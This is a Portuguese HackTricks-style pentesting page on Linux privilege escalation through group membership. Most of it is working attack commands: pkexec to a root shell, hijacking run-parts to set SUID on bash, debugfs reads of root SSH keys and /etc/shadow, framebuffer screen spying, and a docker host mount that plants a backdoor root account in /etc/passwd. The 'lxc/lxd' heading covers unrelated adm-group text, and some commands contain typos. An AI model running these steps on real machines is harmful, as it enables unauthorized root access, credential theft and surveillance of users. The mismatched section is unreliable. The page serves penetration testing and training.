Interesting Groups - Linux Privesc

Aprenda e pratique Hacking AWS:Treinamento HackTricks AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: Treinamento HackTricks GCP Red Team Expert (GRTE)

Apoie o HackTricks

• Verifique os planos de assinatura!

• Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.

• Compartilhe truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.

Grupos Sudo/Admin

PE - Método 1

Às vezes, por padrão (ou porque algum software precisa) dentro do arquivo /etc/sudoers você pode encontrar algumas dessas linhas:

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

Isso significa que qualquer usuário que pertença ao grupo sudo ou admin pode executar qualquer coisa como sudo.

Se for o caso, para se tornar root você pode simplesmente executar:

sudo su

PE - Método 2

Encontre todos os binários suid e verifique se há o binário Pkexec:

find / -perm -4000 2>/dev/null

Se você descobrir que o binário pkexec é um binário SUID e você pertence ao grupo sudo ou admin, provavelmente poderá executar binários como sudo usando pkexec. Isso ocorre porque normalmente esses são os grupos dentro da política polkit. Essa política basicamente identifica quais grupos podem usar pkexec. Verifique com:

cat /etc/polkit-1/localauthority.conf.d/*

Aqui você encontrará quais grupos têm permissão para executar pkexec e por padrão em algumas distribuições Linux os grupos sudo e admin aparecem.

Para se tornar root você pode executar:

pkexec "/bin/sh" #You will be prompted for your user password

Se tentar executar pkexec e receber este erro:

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

Não é porque você não tem permissões, mas sim porque você não está conectado sem uma GUI. E há uma solução alternativa para esse problema aqui: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. Você precisa de 2 sessões ssh diferentes:

sessão1

echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session

sessão2

pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

Grupo Wheel

Às vezes, por padrão dentro do arquivo /etc/sudoers você pode encontrar esta linha:

%wheel	ALL=(ALL:ALL) ALL

Isso significa que qualquer usuário que pertença ao grupo wheel pode executar qualquer coisa como sudo.

Se for o caso, para se tornar root, você pode simplesmente executar:

sudo su

Grupo Shadow

Usuários do grupo shadow podem ler o arquivo /etc/shadow:

-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow

Então, leia o arquivo e tente quebrar alguns hashes.

Grupo de Funcionários

staff: Permite aos usuários adicionar modificações locais ao sistema (/usr/local) sem precisar de privilégios de root (observe que os executáveis em /usr/local/bin estão no caminho de qualquer usuário e podem "substituir" os executáveis em /bin e /usr/bin com o mesmo nome). Compare com o grupo "adm", que está mais relacionado à monitorização/segurança. [fonte]

Nas distribuições debian, a variável $PATH mostra que /usr/local/ será executado com a maior prioridade, quer seja um usuário privilegiado ou não.

$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Se conseguirmos sequestrar alguns programas em /usr/local, podemos facilmente obter acesso de root.

Sequestrar o programa run-parts é uma maneira fácil de obter acesso de root, pois a maioria dos programas executará um run-parts (como crontab, quando fizer login via ssh).

$ cat /etc/crontab | grep run-parts
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6    * * 7   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6    1 * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }

ou Quando uma nova sessão ssh é iniciada.

$ pspy64
2024/02/01 22:02:08 CMD: UID=0     PID=1      | init [2]
2024/02/01 22:02:10 CMD: UID=0     PID=17883  | sshd: [accepted]
2024/02/01 22:02:10 CMD: UID=0     PID=17884  | sshd: [accepted]
2024/02/01 22:02:14 CMD: UID=0     PID=17886  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17887  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17888  | run-parts --lsbsysinit /etc/update-motd.d
2024/02/01 22:02:14 CMD: UID=0     PID=17889  | uname -rnsom
2024/02/01 22:02:14 CMD: UID=0     PID=17890  | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0     PID=17891  | -bash

Explorar

# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
#! /bin/bash
chmod 4777 /bin/bash

# 0x2 Don't forget to add a execute permission
$ chmod +x /usr/local/bin/run-parts

# 0x3 start a new ssh sesstion to trigger the run-parts program

# 0x4 check premission for `u+s`
$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1099016 May 15  2017 /bin/bash

# 0x5 root it
$ /bin/bash -p

Grupo de Disco

Este privilégio é quase equivalente ao acesso root pois permite acessar todos os dados dentro da máquina.

Arquivos: /dev/sd[a-z][1-9]

df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

Note que usando o debugfs você também pode escrever arquivos. Por exemplo, para copiar /tmp/asd1.txt para /tmp/asd2.txt, você pode fazer:

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

No entanto, se você tentar escrever arquivos de propriedade do root (como /etc/shadow ou /etc/passwd) você terá um erro de "Permissão negada".

Grupo de Vídeo

Usando o comando w você pode encontrar quem está logado no sistema e ele mostrará uma saída como a seguinte:

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash

O tty1 significa que o usuário yossi está logado fisicamente em um terminal na máquina.

O grupo video tem acesso para visualizar a saída da tela. Basicamente, você pode observar as telas. Para fazer isso, você precisa capturar a imagem atual na tela em dados brutos e obter a resolução que a tela está usando. Os dados da tela podem ser salvos em /dev/fb0 e você pode encontrar a resolução desta tela em /sys/class/graphics/fb0/virtual_size.

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

Para abrir a imagem bruta, você pode usar o GIMP, selecionar o arquivo **screen.raw ** e selecionar como tipo de arquivo Dados de imagem bruta:

Em seguida, modifique a Largura e Altura para as usadas na tela e verifique os diferentes Tipos de Imagem (e selecione aquele que mostra melhor a tela):

Grupo Root

Parece que por padrão membros do grupo root poderiam ter acesso para modificar alguns arquivos de configuração de serviço ou alguns arquivos de bibliotecas ou outras coisas interessantes que poderiam ser usadas para escalar privilégios...

Verifique quais arquivos os membros do root podem modificar:

find / -group root -perm -g=w 2>/dev/null

Grupo Docker

Você pode montar o sistema de arquivos raiz da máquina hospedeira em um volume da instância, para que, quando a instância iniciar, ela carregue imediatamente um chroot nesse volume. Isso efetivamente lhe dá acesso root na máquina.

docker image #Get images from the docker service

#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd

#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash

Grupo lxc/lxd

Geralmente, membros do grupo adm têm permissão para ler arquivos de log localizados dentro de /var/log/. Portanto, se você comprometeu um usuário dentro deste grupo, definitivamente deve dar uma olhada nos logs.

Grupo Auth

Dentro do OpenBSD, o grupo auth geralmente pode escrever nas pastas /etc/skey e /var/db/yubikey se forem usadas. Essas permissões podem ser abusadas com o seguinte exploit para escalar privilégios para root: https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot